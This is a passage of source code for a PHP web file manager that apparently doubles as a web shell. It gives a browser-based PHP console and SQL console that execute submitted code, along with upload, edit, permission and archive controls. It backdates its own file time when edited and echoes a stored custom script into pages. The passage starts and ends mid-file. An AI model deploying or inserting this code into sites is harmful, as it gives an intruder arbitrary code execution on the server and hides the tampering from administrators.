url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
table{display:block;}
#fm_table td{display:inline;float:left;}
#fm_table tbody td:first-child{width:100%;padding:0;}
#fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
#fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
#fm_table tr{display:block;float:left;clear:left;width:100%;}
#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
$res = empty($_POST['sql']) ? '' : $_POST['sql'];
$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
$res = empty($_POST['php']) ? '' : $_POST['php'];
$res_lng = 'php';
}
if (isset($_GET['fm_settings'])) {
echo '
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
die($proxy_form);
} elseif (isset($res_lng)) {
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
else echo '</h2></td><td>'.fm_run_input('sql');
?></td></tr></table></td>
</tr>
<tr>
<td class="row1">
<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
<form action="" method="POST" name="console">
<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
<input type="reset" value="<?=__('Reset')?>">
<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
$select .= '<option value="-1">' . __('Select') . "</option>\n";
foreach ($tmpl as $key=>$value){
$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
}
$select .= "</select>\n";
echo $select;
}
?>
</form>
</td>
</tr>
</table>
<?php
if (!empty($res)) {
$fun='fm_'.$res_lng;
echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
}
} elseif (!empty($_REQUEST['edit'])){
if(!empty($_REQUEST['save'])) {
$fn = $path . $_REQUEST['edit'];
$filemtime = filemtime($fn);
if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
else $msg .= __('Error occurred');
if ($_GET['edit']==basename(__FILE__)) {
touch(__FILE__,1415116371);
} else {
if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
}
}
$oldcontent = @file_get_contents($path . $_REQUEST['edit']);
$editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
<th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$editlink?>">
<textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
<input type="submit" name="save" value="<?=__('Submit')?>">
<input type="submit" name="cancel" value="<?=__('Cancel')?>">
</form>
</td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
if(!empty($_REQUEST['save'])) {
if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
$msg .= (__('File updated'));
else $msg .= (__('Error occurred'));
}
clearstatcache();
$oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
$link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
<input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
<?php } ?>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
if(!empty($_REQUEST['save'])) {
rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
$msg .= (__('File updated'));
$_REQUEST['rename'] = $_REQUEST['newname'];
}
clearstatcache();
$link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} else {
//Let's rock!
$msg = '';
if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
if(!empty($_FILES['upload']['name'])){
$_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
$msg .= __('Error occurred');
} else {
$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
}
}
} elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Deleted').' '.$_REQUEST['delete'];
}
} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Created').' '.$_REQUEST['dirname'];
}
} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
$msg .= __('Error occurred');
} else {
fclose($fp);
$msg .= __('Created').' '.$_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source).'.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination))
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
else $msg .= __('Error occurred').': '.__('no files');
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ,'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no files');
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(".", $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file = str_replace('.'.$ext,'',$destination);
// $ext = end(explode(".", $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
set_time_limit(0);
//echo $destination;
$ext_arr = explode('.',basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext=implode('.',$ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ,$ext.'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no files');
}
?>
<table class="whole" id="header_table" >
<tr>
<th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
<td class="row2">
<table>
<tr>
<td>
<?=fm_home()?>
</td>
<td>
<?php if(!empty($fm_config['make_directory'])) { ?>
<form method="post" action="<?=$url_inc?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="dirname" size="15">
<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
</form>
<?php } ?>
</td>
<td>
<?php if(!empty($fm_config['new_file'])) { ?>
<form method="post" action="<?=$url_inc?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="filename" size="15">
<input type="submit" name="mkfile" value="<?=__('New file')?>">
</form>
<?php } ?>
</td>
<td>
<?=fm_run_input('php')?>
</td>
<td>
<?=fm_run_input('sql')?>
</td>
</tr>
</table>
</td>
<td class="row3">
<table>
<tr>
<td>
<?php if (!empty($fm_config['upload_file'])) { ?>
<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
<input type="submit" name="test" value="<?=__('Upload')?>" />
</form>
<?php } ?>
</td>
<td>
<?php if ($auth['authorize']) { ?>
<form action="" method="post">
<input name="quit" type="hidden" value="1">
<?=__('Hello')?>, <?=$auth['login']?>
<input type="submit" value="<?=__('Quit')?>">
</form>
<?php } ?>
</td>
<td>
<?=fm_lang_form($language)?>
</td>
<tr>
</table>
</td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr>
<th style="white-space:nowrap"> <?=__('Filename')?> </th>
<th style="white-space:nowrap"> <?=__('Size')?> </th>
<th style="white-space:nowrap"> <?=__('Date')?> </th>
<th style="white-space:nowrap"> <?=__('Rights')?> </th>
<th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
if(@is_dir($path . $file)){
$dirs[] = $file;
} else {
$files[] = $file;
}
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);
foreach ($elements as $file){
$filename = $path . $file;
$filedata = @stat($filename);
if(@is_dir($filename)){
$filedata[7] = '';
if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
$link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>';
$loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file);
$arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file);
$style = 'row2';
if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = '';
} else {
$link =
$fm_config['show_img']&&@getimagesize($filename)
? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
. fm_img_link($filename)
.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>'
: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>';
$e_arr = explode(".", $file);
$ext = end($e_arr);
$loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file);
$arlink = in_array($ext,array('zip','gz','tar'))
? ''
: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"';
}
$deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
$renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
$rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>">
<td><?=$link?></td>
<td><?=$filedata[7]?></td>
<td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
<td><?=$rightstext?></td>
<td><?=$deletelink?></td>
<td><?=$renamelink?></td>
<td><?=$loadlink?></td>
<td><?=$arlink?></td>
</tr>
<?php
}
}
?>
</tbody>
</table>
<div class="row3"><?php
$mtime = explode(' ', microtime());
$totaltime = $mtime[0] + $mtime[1] - $starttime;
echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/bayu123/blex">Github</a> | <a href="'.fm_site_url().'">.</a>';
if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
var element = document.createElement('a');
element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
element.setAttribute('download', filename);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
}
function base64_encode(m) {
for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
c = m.charCodeAt(l);
if (128 > c) d = 1;
else
for (d = 2; c >= 2 << 5 * d;) ++d;
for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
}
b && (g += k[f << 6 - b]);
return g
}
var tableToExcelData = (function() {
var uri = 'data:application/vnd.ms-excel;base64,',
template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
format = function(s, c) {
return s.replace(/{(\w+)}/g, function(m, p) {
return c[p];
})
}
return function(table, name) {
if (!table.nodeType) table = document.getElementById(table)
var ctx = {
worksheet: name || 'Worksheet',
table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
}
t = new Date();
filename = 'fm_' + t.toISOString() + '.xls'
download_xls(filename, base64_encode(format(template, ctx)))
}
})();
var table2Excel = function () {
var ua = window.navigator.userAgent;
var msie = ua.indexOf("MSIE ");
this.CreateExcelSheet =
function(el, name){
if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer
var x = document.getElementById(el).rows;
var xls = new ActiveXObject("Excel.Application");
xls.visible = true;
xls.Workbooks.Add
for (i = 0; i < x.length; i++) {
var y = x[i].cells;
for (j = 0; j < y.length; j++) {
xls.Cells(i + 1, j + 1).Value = y[j].innerText;
}
}
xls.Visible = true;
xls.UserControl = true;
return xls;
} else {
tableToExcelData(el, name);
}
}
}
</script>
</body>
</html>
<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
var $archive_name = '';
var $tmp_file = 0;
var $file_pos = 0;
var $isGzipped = true;
var $errors = array();
var $files = array();
function __construct(){
if (!isset($this->errors)) $this->errors = array();
}
function createArchive($file_list){
$result = false;
if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->openWrite()) return false;
} else {
if (filesize($this->archive_name) == 0) return $this->openWrite();
if ($this->isGzipped) {
$this->closeTmpFile();
if (!rename($this->archive_name, $this->archive_name.'.tmp')){
$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
return false;
}
$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
if (!$tmpArchive){
$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
if (!$this->openWrite()){
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archive_name.'.tmp');
} else {
$this->tmp_file = fopen($this->archive_name, 'r+b');
if (!$this->tmp_file) return false;
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result = $this->packFileArray($file_list);
} else $this->errors[] = __('No file').__(' to ').__('Archive');
if (($result)&&(is_resource($this->tmp_file))){
$binaryData = pack('a512', '');
$this->writeBlock($binaryData);
}
$this->closeTmpFile();
if ($newArchive && !$result){
$this->closeTmpFile();
unlink($this->archive_name);
}
return $result;
}
function restoreArchive($path){
$fileName = $this->archive_name;
if (!$this->isGzipped){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == '\37\213'){
$this->isGzipped = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
}
$result = true;
if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
else $this->tmp_file = fopen($fileName, 'rb');
if (!$this->tmp_file){
$this->errors[] = $fileName.' '.__('is not readable');
return false;
}
$result = $this->unpackFileArray($path);
$this->closeTmpFile();
return $result;
}
function showErrors ($message = '') {
$Errors = $this->errors;
if(count($Errors)>0) {
if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.': <br/>';
foreach ($Errors as $value)
$message .= $value.'<br/>';
return $message;
} else return '';
}
function packFileArray($file_array){
$result = true;
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array)<=0)
return true;
for ($i = 0; $i<count($file_array); $i++){
$filename = $file_array[$i];
if ($filename == $this->archive_name)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->errors[] = __('No file').' '.$filename;
continue;
}
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->errors[] = __('Filename').' '.__('is incorrect');;
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->makeGoodPath($filename);
if (is_file($filename)){
if (($file = fopen($filename, 'rb')) == 0){
$this->errors[] = __('Mode ').__('is incorrect');
}
if(($this->file_pos == 0)){
if(!$this->writeHeader($filename, $keep_filename))
return false;
}
while (($buffer = fread($file, 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
fclose($file);
} else $this->writeHeader($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle = opendir($filename))){
$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
continue;
}
while (false !== ($dir = readdir($handle))){
if ($dir!='.' && $dir!='..'){
$file_array_tmp = array();
if ($filename != '.')
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result = $this->packFileArray($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unpackFileArray($path){
$path = str_replace('\\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->readBlock()) != 0){
if (!$this->readHeader($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->readBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->readBlock();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->readBlock();
if (!$this->readHeader($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
else $header['filename'] = $path.'/'.$header['filename'];
}
